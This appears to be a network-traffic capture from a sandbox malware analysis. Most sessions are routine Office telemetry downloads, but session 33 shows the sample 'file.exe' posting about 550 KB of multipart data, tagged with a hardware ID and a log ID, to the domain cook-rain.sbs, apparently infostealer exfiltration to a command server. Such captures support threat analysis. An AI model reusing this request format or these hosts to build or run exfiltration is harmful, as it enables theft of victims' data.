2024-11-20 23:03:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:11 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230311Z-178bfbc474bv7whqhC1NYC1fg400000000rg000000000ym9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:11 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:11 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:11 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 5bcf05b2-a01e-006f-6e7a-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230311Z-1777c6cb754xrr98hC1TEB3kag0000000a4g000000007mww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:11 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:13 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:13 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:13 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230313Z-178bfbc474bwh9gmhC1NYCy3rs00000000q000000000r5m8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49740	188.114.96.3	443	7720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:13 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ED2KZ7C2TBRVFT0FWZ8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550900 Host: cook-rain.sbs
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: 2d 2d 45 44 32 4b 5a 37 43 32 54 42 52 56 46 54 30 46 57 5a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 43 33 45 31 45 37 32 37 39 38 37 46 33 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 45 44 32 4b 5a 37 43 32 54 42 52 56 46 54 30 46 57 5a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 44 32 4b 5a 37 43 32 54 42 52 56 46 54 30 46 57 5a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --ED2KZ7C2TBRVFT0FWZ8Content-Disposition: form-data; name="hwid"12C3E1E727987F3663CFCF7E6C45F838--ED2KZ7C2TBRVFT0FWZ8Content-Disposition: form-data; name="pid"1--ED2KZ7C2TBRVFT0FWZ8Content-Disposition: form-data; name="lid"LOGS11--Li
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: e4 b0 dd d1 cf 15 ac 87 ca 65 c0 44 13 b5 b2 e3 1e fd de df ac 8d ec a2 cd d5 6b b9 43 55 03 93 30 f9 bf aa 28 9e e1 f0 a1 2b b3 d2 ca 18 94 e8 79 e0 6e 42 ce aa d2 17 b7 76 43 75 f8 a4 64 83 94 3c 23 50 cd 5c 8c 6a 30 ad b3 ed 89 90 06 07 8c a7 fa 42 d7 a6 a8 33 51 3a 9d 6e cf 98 f7 63 12 a0 83 c2 4b 6d 3a 74 7d 68 0b 9c eb 78 b3 37 f4 7c ad 44 aa b8 5c 54 b8 b0 40 4a f4 b7 01 33 48 56 8a 85 c3 a2 99 77 02 ec 65 60 c4 e4 9c 1d 32 fc 34 54 9d 20 90 9c f1 c6 21 59 91 2f 41 12 f5 52 84 b4 63 5b d4 4c 11 01 0c a2 44 17 37 4b 1f 4e ba 3c ae 0f d7 13 21 bd 01 29 21 3b 67 8b 3b e3 27 ff 35 a5 e9 ff 9e 8c 12 00 8d f8 f0 08 93 76 33 26 0c 7c ca 48 ba 0f 11 a0 72 9f f4 46 ed a0 e8 5a 95 3e d8 92 99 29 13 bd 7b 7b 3b a1 c0 8f 2f c1 71 d1 a1 50 3f 44 22 78 fc 15 50 Data Ascii: eDkCU0(+ynBvCud<#P\j0B3Q:ncKm:t}hx7\|D\T@J3HVwe`24T !Y/ARc[LD7KN<!)!;g;'5v3&\|HrFZ>){{;/qP?D"xP
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: 3f 57 e6 9c 46 aa 8a 45 35 0f ff 5d 66 86 26 ae 98 66 89 f1 2f 20 79 79 9f 3b 8b 25 47 50 cc 33 93 27 11 65 29 49 75 ef 59 12 57 24 1e bf cb 73 18 cd f3 0a 6f b9 f2 14 52 b9 9b 56 b9 ff e5 6d f8 26 36 91 e1 51 50 4b 7b 75 99 7b 1e aa fb 86 8a 04 70 5f ce 16 3b 39 6c 1c 8e 54 8a 16 8d d5 16 29 50 a2 75 aa 83 04 13 56 47 b0 71 4e 9f 29 e9 a5 7f 34 3a 21 56 f6 47 40 dd 44 a6 20 23 7f 8f c3 db 7f c2 6c a7 0b dc 14 3a 96 1e db 62 26 fc 50 28 03 6c b8 1f cb e8 54 b5 bd cd 39 52 e7 00 46 72 9d 17 6b dc f5 f8 4f 88 63 73 e2 07 73 ac 6d f0 bd e0 c3 2e 85 f6 3c cb 02 51 9c a4 60 0f 50 bb 93 88 2f c2 1c 55 ad 96 19 1e 47 bc d6 31 f6 f4 71 13 7d e2 89 04 bb 3e f8 13 d7 36 da bd 40 1f 7d 48 fe f8 39 4d 3b 99 2d 1d a5 ce e9 12 39 2d af a2 0a 46 e0 d4 eb 24 dc 54 bc 45 Data Ascii: ?WFE5]f&f/ yy;%GP3'e)IuYW$soRVm&6QPK{u{p_;9lT)PuVGqN)4:!VG@D #l:b&P(lT9RFrkOcssm.<Q`P/UG1q}>6@}H9M;-9-F$TE
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: 8c 28 4f cd 4e fd fa f8 7b e9 25 63 1b a7 d9 78 6f e6 d7 07 fa 79 da 04 41 9a 5a f9 67 b4 1d 07 f8 46 1b e9 e0 a2 e2 ea ab a8 59 b7 68 9f a2 0c f8 c2 1b b7 fd 8b 7f f2 49 ba 48 8c 58 c3 71 96 97 7a 45 87 6b df 0c 14 df df 61 2c b6 6d cc 8c 6c ea 2a a5 9a 0d cf 31 51 a2 e3 9f 9e 86 15 62 2d 47 65 6c 22 cd bd 41 c0 42 e7 30 b6 45 d8 9e 97 7e 58 30 08 4f e0 a2 17 c9 18 eb 66 b7 a3 b8 50 57 eb 74 a6 be e9 bd 76 a2 d3 ca 0d 77 8e 41 e2 6d ab b3 37 7a 54 1e d4 8b af 65 5b 3f 00 ca fe 90 aa b6 63 81 94 f6 5a a1 69 58 1a c7 a2 73 0e d6 52 b7 1d 7d 6e b5 ba 41 3c 35 7c 41 eb 9e 54 a0 13 88 d4 77 cf c0 85 e8 d5 9c 12 68 1b dd 46 4f 35 14 ab 64 9c 7b 3c ab db ea 33 fd 4e 0c e3 93 31 ba e8 98 81 cb 89 b9 b1 bd bd 36 87 2f ff b8 a3 71 9b 3b bf 76 35 7d 19 10 c4 cb 57 Data Ascii: (ON{%cxoyAZgFYhIHXqzEka,ml*1Qb-Gel"AB0E~X0OfPWtvwAm7zTe[?cZiXsR}nA<5\|ATwhFO5d{<3N16/q;v5}W
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: eb 36 85 88 71 37 b5 ea 21 80 59 10 bf e2 aa 88 67 1e 7c c4 e9 f9 16 5d 6b 0a 5f 73 ae 45 c1 0d 08 00 63 30 6c 62 7e 73 1b 8f b1 4c ed e3 7d bb de 20 ce 59 5c ff ef 86 e3 18 1f d3 fa 57 31 d7 78 2e aa a3 7d fd c8 1c ac 2e a9 29 ea 48 ea 90 22 5f f8 f7 be e9 d3 84 dc b7 ff 67 9b 4c e1 65 fd df ec 74 03 07 5c 32 ce 9e 94 06 49 1d ee 48 52 94 73 40 36 02 05 47 c2 e6 dc d4 36 c4 29 ef 40 90 69 9e ed 86 b3 e7 fb 4b c0 72 5c 14 e1 ad 06 eb 10 62 bd 07 03 98 d0 63 b0 64 f6 27 d3 81 83 61 2e 1c de 44 eb df 59 38 2f 38 e2 88 40 c6 5f 52 96 6c 88 94 67 ad 48 c2 59 a2 9e c3 c5 08 00 d6 01 7a 51 61 15 c9 38 c0 3e a7 fe ad 5d 95 51 7f 20 37 48 98 bf df 97 97 fd 12 3d 03 a5 e7 c6 ee 57 44 b6 90 fc 87 44 32 d0 41 e9 e7 1f 01 8d d5 14 53 d9 d1 38 ef 85 f8 a6 b6 61 49 97 Data Ascii: 6q7!Yg\|]k_sEc0lb~sL} Y\W1x.}.)H"_gLet\2IHRs@6G6)@iKr\bcd'a.DY8/8@_RlgHYzQa8>]Q 7H=WDD2AS8aI
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: 57 a6 67 c2 71 32 33 6a d2 91 1f bc dd 59 8c da 2a 9a 40 e8 5d c2 4b 86 e3 fc db a9 96 e5 82 87 3c 73 23 23 ba 9c 4b 6b 7a f7 79 e6 dd 34 76 cb aa 96 ae 97 b8 0d 6c 4c 7d 39 94 f1 40 3a 68 ce 0b c7 78 bd 0f 30 3e 57 cc 2f d4 c6 e8 e0 12 6e 75 b3 26 16 d3 97 58 ef 6d 58 0f 9d 4e 04 b5 bb eb 8d 77 2f bb 63 41 0e 1b 68 a5 ea 69 29 75 1c 4d 93 c1 8b c6 76 93 85 24 a2 9d 14 42 3e b3 b7 51 6d fc c9 b2 82 83 02 bf 26 e7 dd 3e 21 88 ad 60 e0 f8 f4 3e 2a 92 3a 84 4a 85 63 e0 33 84 42 4b 64 71 a8 82 39 2c 2a 41 04 bc 34 2c b0 58 d7 44 7b 56 01 f2 11 a2 24 0a 28 44 84 8b e1 d5 f7 83 de f6 d6 bd 03 41 51 70 c3 7f ec bd dc 98 c8 26 4e e0 f7 1b 94 a8 80 87 00 d9 da a9 72 32 21 ad 6f ec f1 96 18 44 45 ac de 42 d8 77 89 93 e0 86 2c 4f ab 89 a7 f3 f9 ec aa 99 95 d9 d7 d8 Data Ascii: Wgq23jY@]K<s##Kkzy4vlL}9@:hx0>W/nu&XmXNw/cAhi)uMv$B>Qm&>!`>:Jc3BKdq9,*A4,XD{V$(DAQp&Nr2!oDEBw,O
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: e3 9d c7 18 ae c2 da 8b a7 3a 26 15 6f 80 b0 03 7f 0e 99 c0 a5 da 18 06 33 e3 15 23 82 56 7a 75 48 b7 a6 55 47 34 4c b2 11 0d 49 d3 5a 3c d7 15 81 33 25 06 6f f4 5e 71 8b 8f 3d 96 14 76 3f 01 96 3f 12 72 77 4c 72 29 7e 80 92 b4 22 8e f0 12 4b 8c 4a 10 31 49 16 40 ca 8a cf 89 2d 6c 84 b8 42 51 f2 ec b2 3b 44 74 68 d2 96 57 6f 42 30 f6 bc 65 ce 9f d5 7d d7 a2 f1 9f 8f 4a 4a 8b e3 10 d8 3d ad 25 24 51 2d 4d 14 f7 90 88 4f f7 e4 c2 d3 e9 76 7d 84 ef 6b 59 1b 63 d7 99 bb 16 91 fc eb 93 9c b1 da 60 ec 9a 10 f0 af 99 d5 c1 80 8a f9 01 09 b6 eb 84 73 da d4 f9 3c 95 a1 ea 5e fe f5 3f 87 79 88 a8 18 2b b2 17 30 04 59 87 85 f5 ce 61 6e da d7 e9 e1 b0 90 33 dc 0e e1 93 ec 31 42 f2 94 ab ab 4c 67 d1 6d 6e c2 f7 d1 41 17 cb c8 04 61 b0 3a 33 73 39 e2 c9 d1 bd d1 e9 0d Data Ascii: :&o3#VzuHUG4LIZ<3%o^q=v??rwLr)~"KJ1I@-lBQ;DthWoB0e}JJ=%$Q-MOv}kYc`s<^?y+0Yan31BLgmnAa:3s9
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: 99 97 6a eb a6 44 74 65 0f a6 a5 c1 2a 83 31 a8 c8 2a 39 6a 12 72 02 de d6 25 26 d8 55 59 98 39 91 47 b6 73 89 0c 79 91 9d b9 95 37 67 34 ad ce 33 31 de b6 65 9f 8e f8 a8 d9 60 d0 5f cb d5 5f 2f 0a a1 19 53 3f bc a8 64 49 22 10 03 62 4b 6f b7 c7 a5 fa 0d 98 59 3b 43 5b b2 0a 5d 93 85 31 b5 7b 60 4f a7 f8 d9 81 fa 97 bc b4 ed 47 1e 54 e2 66 9a c6 91 2b 47 f5 1a 88 e8 d8 73 ab d7 f6 ef 62 f7 6a 43 e0 37 02 b5 10 3b 2d da 60 d4 05 30 fc 10 84 fe 2d f0 8c 15 08 5f 90 04 ca b0 ec ea dd 56 63 14 29 a4 2b 33 9e ec df 0d 81 2f 17 c8 3d 27 01 19 75 a5 32 8f 6c 93 9d 27 0f be a1 13 43 17 85 d9 22 0c 3c 5e 89 42 d8 32 98 c8 9a 9d f7 5b 5f dd 92 22 1c 01 f4 0f 1c 01 2b 0c 16 1b c5 ea 97 58 1a 2e 9c 8f 36 e5 a5 f4 e9 14 44 cf f7 89 ff 16 3e f2 ec 78 07 50 fc 76 e9 68 Data Ascii: jDte19jr%&UY9Gsy7g431e`__/S?dI"bKoY;C[]1{`OGTf+GsbjC7;-`0-_Vc)+3/='u2l'C"<^B2[_"+X.6D>xPvh
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: 3b f6 88 a7 c8 4e ce 4f 88 98 b6 2b 9b ae 9b 16 67 9f b8 a9 7b ed 87 3a dd 14 19 2e 22 bc 16 ef b7 9e 67 5a bd 02 23 6e cc fe 2f 4e 36 53 a5 93 07 2f 6c f9 ea 27 0f 9a c4 d0 ff 57 69 f0 54 19 c5 22 c0 eb e7 39 cd ef c5 e2 31 ff 49 9e 54 8f e8 a6 45 d1 c8 a8 7b ef 9f db 93 c5 f2 7a a4 48 8c 96 ee 67 11 c6 05 d7 1f f3 8d b5 82 cd 60 35 b5 c2 0a 0f 2f a1 45 46 45 43 ec b6 4b f6 ed de d3 27 b5 5b 22 63 fe 4e fc d9 91 2f 2b a9 6a e4 c7 6a f4 36 14 10 fd 85 04 d9 1f 18 df e9 d5 6b 42 c0 d8 bc 72 fd 0e 66 6b 80 28 c8 21 e2 87 ce 49 80 d5 11 58 ee 5d 88 25 70 76 4b 79 47 42 d2 7f 58 12 d3 a4 d1 35 dd 59 20 e9 2a 44 69 45 3a 2a af 55 ea 8b 72 d0 30 61 7e d9 bf d1 40 51 d4 9d c8 30 93 b6 77 2b af 15 69 a5 4f 28 80 92 c9 0b 8b a5 ea 1c 8c 94 d4 5a 65 ea 94 f0 6c 9f Data Ascii: ;NO+g{:."gZ#n/N6S/l'WiT"91ITE{zHg`5/EFECK'["cN/+jj6kBrfk(!IX]%pvKyGBX5Y DiE:Ur0a~@Q0w+iO(Zel
2024-11-20 23:03:13 UTC	15331	OUT	Data Raw: ae 70 3c 01 b7 b7 df 4a d5 45 b1 fd 09 59 9b 4f d9 92 5b 23 6b ec b7 45 94 d2 76 51 70 1e b5 5f fb e8 1f 4e e7 51 23 77 b9 89 1e 77 07 96 9c f0 22 bd 8a aa 31 77 86 43 65 d5 b0 3b e3 ed c1 27 28 86 9b a9 5c 4c 81 89 3a d5 f8 9c 78 c9 b4 1c 38 f6 06 f1 4a 5e 3c ec 43 ee 73 1b a2 11 37 3c 9d 92 fb fe 8d 12 d8 6f 2c 43 b3 d5 07 b9 57 a1 bc 9d c8 27 9a 1a b9 4f 85 2f d7 64 58 54 0d ed 07 49 19 f9 57 1f 93 fe 70 aa df 05 91 7d e6 dc 2e 72 3a 0f 44 05 6c 13 90 4a c3 e4 74 33 07 43 ee 8c 71 3c 42 7a b9 f5 ab 03 0b e4 7d ba 99 7b 1d 1a 56 3a 21 f3 df 2e 8c 30 58 98 28 b7 c1 ea 02 ba da fc 4e 88 0e e3 3c 4a 8f 4b 21 e7 48 27 b5 92 a2 69 a7 ba f4 f4 78 32 bc 1d a0 3d c4 b4 6e cc cd 08 74 a3 5d 90 a0 68 d9 32 8d 2a 27 76 23 4d 00 75 9e 6d 3b 93 bb 84 90 94 df 66 fb Data Ascii: p<JEYO[#kEvQp_NQ#ww"1wCe;'(\L:x8J^<Cs7<o,CW'O/dXTIWp}.r:DlJt3Cq<Bz}{V:!.0X(N<JK!H'ix2=nt]h2*'v#Mum;f
2024-11-20 23:03:17 UTC	994	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=okbkg23hm2cfnooarpqn5ne69m; expires=Sun, 16-Mar-2025 16:49:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tb%2FQCLzy%2FBgPE2%2FrsY1cDaLMFyuIR%2Bwb5SGxLzJJx8c6iqiU89f3lrdI57KgI0shTX8Omy82zFFUqwlRdocYpHHb5%2Fvc%2FDDYrNBYwdBfKWT1PhXwwHFvSs2mm1rJERv3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5c1274d9937d08-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1841&sent=315&recv=579&lost=0&retrans=0&sent_bytes=2830&recv_bytes=553379&delivery_rate=1580086&cwnd=185&unsent_bytes=0&cid=e61529a743d17e22&ts=3871&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:13 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:13 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230313Z-178bfbc474btrnf9hC1NYCb80g00000000u000000000dcze x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:13 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230313Z-178bfbc474b9xljthC1NYCtw9400000000n0000000003zyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
